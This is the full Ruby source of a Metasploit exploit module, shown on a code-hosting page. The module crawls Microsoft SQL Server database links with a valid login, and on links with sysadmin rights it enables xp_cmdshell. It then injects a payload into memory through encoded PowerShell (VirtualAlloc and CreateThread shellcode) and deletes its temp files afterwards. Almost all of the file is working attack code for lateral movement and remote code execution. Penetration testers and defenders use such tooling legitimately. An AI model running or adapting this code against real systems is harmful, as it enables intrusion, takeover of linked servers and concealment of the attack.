Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/mssql/mssql_linkcrawler.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::MSSQL
10
include Msf::Auxiliary::Report
11
include Msf::Exploit::CmdStager
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Microsoft SQL Server Database Link Crawling Command Execution',
18
'Description' => %q{
19
This module can be used to crawl MS SQL Server database links and deploy
20
Metasploit payloads through links configured with sysadmin privileges using a
21
valid SQL Server Login.
22
23
If you are attempting to obtain multiple reverse shells using this module we
24
recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
25
up a exploit/multi/handler to run in the background as a job to support multiple incoming
26
shells.
27
28
If you are interested in deploying payloads to specific servers this module also
29
supports that functionality via the "DEPLOYLIST" option.
30
31
Currently, the module is capable of delivering payloads to both 32bit and 64bit
32
Windows systems via powershell memory injection methods based on Matthew Graeber's
33
work. As a result, the target server must have powershell installed. By default,
34
all of the crawl information is saved to a CSV formatted log file and MSF loot so
35
that the tool can also be used for auditing without deploying payloads.
36
},
37
'Author' => [
38
'Antti Rantasaari <antti.rantasaari[at]netspi.com>',
39
'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
40
],
41
'Platform' => [ 'win' ],
42
'Arch' => [ ARCH_X86, ARCH_X64 ],
43
'License' => MSF_LICENSE,
44
'References' => [
45
['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],
46
['URL', 'http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
47
['URL', 'http://www.exploit-monday.com/2011_10_16_archive.html']
48
],
49
'DisclosureDate' => '2000-01-01',
50
'Targets' => [
51
[ 'Automatic', {} ],
52
],
53
'CmdStagerFlavor' => 'vbs',
54
'DefaultTarget' => 0,
55
'Notes' => {
56
'Reliability' => UNKNOWN_RELIABILITY,
57
'Stability' => UNKNOWN_STABILITY,
58
'SideEffects' => UNKNOWN_SIDE_EFFECTS
59
}
60
)
61
)
62
63
register_options(
64
[
65
OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', false]),
66
OptString.new('DEPLOYLIST', [false, 'Comma separated list of systems to deploy to']),
67
OptString.new('PASSWORD', [true, 'The password for the specified username'])
68
]
69
)
70
71
register_advanced_options(
72
[
73
OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"])
74
]
75
)
76
end
77
78
def exploit
79
# Display start time
80
time1 = Time.new
81
print_status("-------------------------------------------------")
82
print_status("Start time : #{time1.inspect}")
83
print_status("-------------------------------------------------")
84
85
# Check if credentials are correct
86
print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")
87
88
if !mssql_login_datastore
89
print_error("Invalid SQL Server credentials")
90
print_status("-------------------------------------------------")
91
return
92
end
93
94
# Define master array to keep track of enumerated database information
95
masterList = Array.new
96
masterList[0] = Hash.new # Define new hash
97
masterList[0]["name"] = "" # Name of the current database server
98
masterList[0]["db_link"] = "" # Name of the linked database server
99
masterList[0]["db_user"] = "" # User configured on the database server link
100
masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges
101
masterList[0]["db_version"] = "" # Database version of the linked database server
102
masterList[0]["db_os"] = "" # OS of the linked database server
103
masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored
104
masterList[0]["done"] = 0 # Used to determine if linked need to be crawled
105
106
shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system
107
108
# Setup query for gathering information from database servers
109
versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\
110
(ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\
111
(char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\
112
CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \
113
-charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \
114
master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount"
115
116
# Create loot table to store configuration information from crawled database server links
117
linked_server_table = Rex::Text::Table.new(
118
'Header' => 'Linked Server Table',
119
'Indent' => 1,
120
'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os', 'link_state']
121
)
122
save_loot = ""
123
124
# Start crawling through linked database servers
125
while masterList.any? { |f| f["done"] == 0 }
126
# Find the first DB server that has not been crawled (not marked as done)
127
server = masterList.detect { |f| f["done"] == 0 }
128
129
# Get configuration information from the database server
130
sql = query_builder(server["path"].first, "", 0, versionQuery)
131
result = mssql_query(sql, false) if mssql_login_datastore
132
parse_results = result[:rows]
133
parse_results.each { |s|
134
server["name"] = s[0]
135
server["db_user"] = s[1]
136
server["db_sysadmin"] = s[5]
137
server["db_version"] = s[3]
138
server["db_os"] = s[4]
139
server["numlinks"] = s[6]
140
}
141
if masterList.length == 1
142
print_good("Successfully connected to #{server["name"]}")
143
if datastore['VERBOSE']
144
show_configs(server["name"], parse_results, true)
145
elsif server["db_sysadmin"] == 1
146
print_good("Sysadmin on #{server["name"]}")
147
end
148
end
149
if server["db_sysadmin"] == 1
150
enable_xp_cmdshell(server["path"].first, server["name"], shelled)
151
end
152
153
# If links were found, determine if they can be connected to and add to crawl list
154
if (server["numlinks"] > 0)
155
# Enable loot
156
save_loot = "yes"
157
158
# Select a list of the linked database servers that exist on the current database server
159
print_status("")
160
print_status("-------------------------------------------------")
161
print_status("Crawling links on #{server["name"]}...")
162
# Display number db server links
163
print_status("Links found: #{server["numlinks"]}")
164
print_status("-------------------------------------------------")
165
execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'"
166
sql = query_builder(server["path"].first, "", 0, execute)
167
result = mssql_query(sql, false) if mssql_login_datastore
168
169
result[:rows].each { |name|
170
name.each { |name|
171
# Check if link works and if sysadmin permissions - temp array to save orig server[path]
172
temppath = Array.new
173
temppath = server["path"].first.dup
174
temppath << name
175
176
# Get configuration information from the linked server
177
sql = query_builder(temppath, "", 0, versionQuery)
178
result = mssql_query(sql, false) if mssql_login_datastore
179
180
# Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists
181
if result[:errors].empty? and result[:rows] != nil then
182
# Assign db query results to variables for hash
183
parse_results = result[:rows]
184
185
# Add link server information to loot
186
link_status = 'up'
187
write_to_report(name, server, parse_results, linked_server_table, link_status)
188
189
# Display link server information in verbose mode
190
if datastore['VERBOSE']
191
show_configs(name, parse_results)
192
print_status(" o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
193
else
194
if parse_results[0][5] == 1
195
print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")
196
else
197
print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
198
end
199
end
200
201
# Add link to masterlist hash
202
unless masterList.any? { |f| f["name"] == name }
203
masterList << add_host(name, server["path"].first, parse_results)
204
else
205
(0..masterList.length - 1).each do |x|
206
if masterList[x]["name"] == name
207
masterList[x]["path"] << server["path"].first.dup
208
masterList[x]["path"].last << name
209
unless shelled.include?(name)
210
if parse_results[0][2] == 1
211
enable_xp_cmdshell(masterList[x]["path"].last.dup, name, shelled)
212
end
213
end
214
else
215
break
216
end
217
end
218
end
219
else
220
# Add to report
221
linked_server_table << [server["name"], server["db_version"], server["db_os"], name, 'NA', 'NA', 'NA', 'NA', 'Connection Failed']
222
223
# Display status to user
224
if datastore['VERBOSE']
225
print_status(" ")
226
print_error("Linked Server: #{name} ")
227
print_error(" o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
228
print_status(" Failure could be due to:")
229
print_status(" - A dead server")
230
print_status(" - Bad credentials")
231
print_status(" - Nested open queries through SQL 2000")
232
else
233
print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
234
end
235
end
236
}
237
}
238
end
239
# Set server to "crawled"
240
server["done"] = 1
241
end
242
243
print_status("-------------------------------------------------")
244
245
# Setup table for loot
246
this_service = nil
247
if framework.db and framework.db.active
248
this_service = report_service(
249
:host => mssql_client.peerhost,
250
:port => mssql_client.peerport,
251
:name => 'mssql',
252
:proto => 'tcp'
253
)
254
end
255
256
# Display end time
257
time1 = Time.new
258
print_status("End time : #{time1.inspect}")
259
print_status("-------------------------------------------------")
260
261
# Write log to loot / file
262
if (save_loot == "yes")
263
filename = "#{mssql_client.peerhost}-#{mssql_client.peerport}_linked_servers.csv"
264
path = store_loot("crawled_links", "text/plain", mssql_client.peerhost, linked_server_table.to_csv, filename, "Linked servers", this_service)
265
print_good("Results have been saved to: #{path}")
266
end
267
end
268
269
# ---------------------------------------------------------------------
270
# Method that builds nested openquery statements using during crawling
271
# ---------------------------------------------------------------------
272
def query_builder(path, sql, ticks, execute)
273
# Temp used to maintain the original masterList[x]["path"]
274
temp = Array.new
275
path.each { |i| temp << i }
276
277
# Actual query - defined when the function originally called - ticks multiplied
278
if path.length == 0
279
return execute.gsub("'", "'" * 2**ticks)
280
281
# openquery generator
282
else
283
sql = "select * from openquery(\"" + temp.shift + "\"," + "'" * 2**ticks + query_builder(temp, sql, ticks + 1, execute) + "'" * 2**ticks + ")"
284
return sql
285
end
286
end
287
288
# ---------------------------------------------------------------------
289
# Method that builds nested openquery statements using during crawling
290
# ---------------------------------------------------------------------
291
def query_builder_rpc(path, sql, ticks, execute)
292
# Temp used to maintain the original masterList[x]["path"]
293
temp = Array.new
294
path.each { |i| temp << i }
295
296
# Actual query - defined when the function originally called - ticks multiplied
297
if path.length == 0
298
return execute.gsub("'", "'" * 2**ticks)
299
300
# Openquery generator
301
else
302
exec_at = temp.shift
303
quotes = "'" * 2**ticks
304
sql = "exec(#{quotes}#{query_builder_rpc(temp, sql, ticks + 1, execute)}#{quotes}) at [#{exec_at}]"
305
return sql
306
end
307
end
308
309
# ---------------------------------------------------------------------
310
# Method for adding new linked database servers to the crawl list
311
# ---------------------------------------------------------------------
312
def add_host(name, path, parse_results)
313
# Used to add new servers to masterList
314
server = Hash.new
315
server["name"] = name
316
temppath = Array.new
317
path.each { |i| temppath << i }
318
server["path"] = [temppath]
319
server["path"].first << name
320
server["done"] = 0
321
parse_results.each { |stuff|
322
server["db_user"] = stuff.at(1)
323
server["db_sysadmin"] = stuff.at(2)
324
server["db_version"] = stuff.at(3)
325
server["db_os"] = stuff.at(4)
326
server["numlinks"] = stuff.at(6)
327
}
328
return server
329
end
330
331
# ---------------------------------------------------------------------
332
# Method to display configuration information
333
# ---------------------------------------------------------------------
334
def show_configs(i, parse_results, entry = false)
335
print_status(" ")
336
parse_results.each { |stuff|
337
# Translate syadmin code
338
status = stuff.at(5)
339
if status == 1 then
340
dbpriv = "sysadmin"
341
else
342
dbpriv = "user"
343
end
344
345
# Display database link information
346
if entry == false
347
print_status("Linked Server: #{i}")
348
print_status(" o Link user: #{stuff.at(1)}")
349
print_status(" o Link privs: #{dbpriv}")
350
print_status(" o Link version: #{stuff.at(3)}")
351
print_status(" o Link OS: #{stuff.at(4).strip}")
352
print_status(" o Links on server: #{stuff.at(6)}")
353
else
354
print_status("Server: #{i}")
355
print_status(" o Server user: #{stuff.at(1)}")
356
print_status(" o Server privs: #{dbpriv}")
357
print_status(" o Server version: #{stuff.at(3)}")
358
print_status(" o Server OS: #{stuff.at(4).strip}")
359
print_status(" o Server on server: #{stuff.at(6)}")
360
end
361
}
362
end
363
364
# ---------------------------------------------------------------------
365
# Method for generating the report and loot
366
# ---------------------------------------------------------------------
367
def write_to_report(i, server, parse_results, linked_server_table, link_status)
368
parse_results.each { |stuff|
369
# Parse server information
370
db_link_user = stuff.at(1)
371
db_link_sysadmin = stuff.at(2)
372
db_link_version = stuff.at(3)
373
db_link_os = stuff.at(4)
374
375
# Add link server to the reporting array and set link_status to 'up'
376
linked_server_table << [server["name"], server["db_version"], server["db_os"], i, db_link_user, db_link_sysadmin, db_link_version, db_link_os, link_status]
377
378
return linked_server_table
379
}
380
end
381
382
# ---------------------------------------------------------------------
383
# Method for enabling xp_cmdshell
384
# ---------------------------------------------------------------------
385
def enable_xp_cmdshell(path, name, shelled)
386
# Enables "show advanced options" and xp_cmdshell if needed and possible
387
# They cannot be enabled in user transactions (i.e. via openquery)
388
# Only enabled if RPC_Out is enabled for linked server
389
# All changes are reverted after payload delivery and execution
390
391
# Check if "show advanced options" is enabled
392
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'show advanced options'"
393
sql = query_builder(path, "", 0, execute)
394
result = mssql_query(sql, false) if mssql_login_datastore
395
saoOrig = result[:rows].pop.pop
396
397
# Check if "xp_cmdshell" is enabled
398
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"
399
sql = query_builder(path, "", 0, execute)
400
result = mssql_query(sql, false) if mssql_login_datastore
401
xpcmdOrig = result[:rows].pop.pop
402
403
# Try blindly to enable "xp_cmdshell" on the linked server
404
# Note:
405
# This only works if rpcout is enabled for all links in the link path.
406
# If that is not the case it fails cleanly.
407
if xpcmdOrig == 0
408
if saoOrig == 0
409
# Enabling show advanced options and xp_cmdshell
410
execute = "sp_configure 'show advanced options',1;reconfigure"
411
sql = query_builder_rpc(path, "", 0, execute)
412
result = mssql_query(sql, false) if mssql_login_datastore
413
end
414
415
# Enabling xp_cmdshell
416
print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")
417
execute = "sp_configure 'xp_cmdshell',1;reconfigure"
418
sql = query_builder_rpc(path, "", 0, execute)
419
result = mssql_query(sql, false) if mssql_login_datastore
420
end
421
422
# Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)
423
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"
424
sql = query_builder(path, "", 0, execute)
425
result = mssql_query(sql, false) if mssql_login_datastore
426
xpcmdNow = result[:rows].pop.pop
427
428
if xpcmdNow == 1 or xpcmdOrig == 1
429
print_status("\t - Enabled xp_cmdshell on " + name) if xpcmdOrig == 0
430
if datastore['DEPLOY']
431
print_status("Ready to deploy a payload #{name}")
432
if datastore['DEPLOYLIST'] == ""
433
datastore['DEPLOYLIST'] = nil
434
end
435
if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
436
print_status("\t - Checking if #{name} is on the deploy list...")
437
end
438
if datastore['DEPLOYLIST'] != nil
439
deploylist = datastore['DEPLOYLIST'].upcase.split(',')
440
end
441
if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
442
if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
443
print_status("\t - #{name} is on the deploy list.")
444
end
445
unless shelled.include?(name)
446
powershell_upload_exec(path)
447
shelled << name
448
else
449
print_status("Payload already deployed on #{name}")
450
end
451
elsif !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
452
print_status("\t - #{name} is not on the deploy list")
453
end
454
end
455
else
456
print_error("\t - Unable to enable xp_cmdshell on " + name)
457
end
458
459
# Revert soa and xp_cmdshell to original state
460
if xpcmdOrig == 0 and xpcmdNow == 1
461
print_status("\t - Disabling xp_cmdshell on " + name)
462
execute = "sp_configure 'xp_cmdshell',0;reconfigure"
463
sql = query_builder_rpc(path, "", 0, execute)
464
result = mssql_query(sql, false) if mssql_login_datastore
465
end
466
if saoOrig == 0 and xpcmdNow == 1
467
execute = "sp_configure 'show advanced options',0;reconfigure"
468
sql = query_builder_rpc(path, "", 0, execute)
469
result = mssql_query(sql, false) if mssql_login_datastore
470
end
471
end
472
473
# ----------------------------------------------------------------------
474
# Method that delivers shellcode payload via powershell thread injection
475
# ----------------------------------------------------------------------
476
def powershell_upload_exec(path)
477
# Create powershell script that will inject shell code from the selected payload
478
myscript = "$code = @\"
479
[DllImport(\"kernel32.dll\")]
480
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
481
[DllImport(\"kernel32.dll\")]
482
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
483
[DllImport(\"msvcrt.dll\")]
484
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
485
\"@
486
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
487
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\', ',0').sub(',', '')}
488
$size = 0x1000
489
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
490
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
491
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
492
$winFunc::CreateThread(0,0,$x,0,0,0)"
493
494
# Unicode encode powershell script
495
mytext_uni = Rex::Text.to_unicode(myscript)
496
497
# Base64 encode unicode
498
mytext_64 = Rex::Text.encode_base64(mytext_uni)
499
500
# Generate random file names
501
rand_filename = rand_text_alpha(8)
502
var_duplicates = rand_text_alpha(8)
503
504
# Write base64 encoded powershell payload to temp file
505
# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
506
# Also, line number tracking was added so that duplication lines caused by nested linked
507
# queries could be found and removed.
508
print_status("Deploying payload...")
509
linenum = 0
510
mytext_64.scan(/.{1,2500}/).each { |part|
511
execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
512
sql = query_builder(path, "", 0, execute)
513
result = mssql_query(sql, false) if mssql_login_datastore
514
linenum = linenum + 1
515
}
516
517
# Remove duplicate lines from temp file and write to new file
518
execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
519
sql = query_builder(path, "", 0, execute)
520
result = mssql_query(sql, false) if mssql_login_datastore
521
522
# Remove tracking tags from lines
523
execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
524
sql = query_builder(path, "", 0, execute)
525
result = mssql_query(sql, false) if mssql_login_datastore
526
527
# Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
528
# If running on 64bit system, 32bit powershell called from syswow64
529
powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\
530
'*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\
531
-noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
532
powershell_uni = Rex::Text.to_unicode(powershell_cmd)
533
powershell_64 = Rex::Text.encode_base64(powershell_uni)
534
535
# Setup query
536
execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"
537
sql = query_builder(path, "", 0, execute)
538
539
# Execute the playload
540
print_status("Executing payload...")
541
result = mssql_query(sql, false) if mssql_login_datastore
542
# Remove payload data from the target server
543
execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
544
sql = query_builder(path, "", 0, execute)
545
result = mssql_query(sql, false)
546
end
547
end
548
549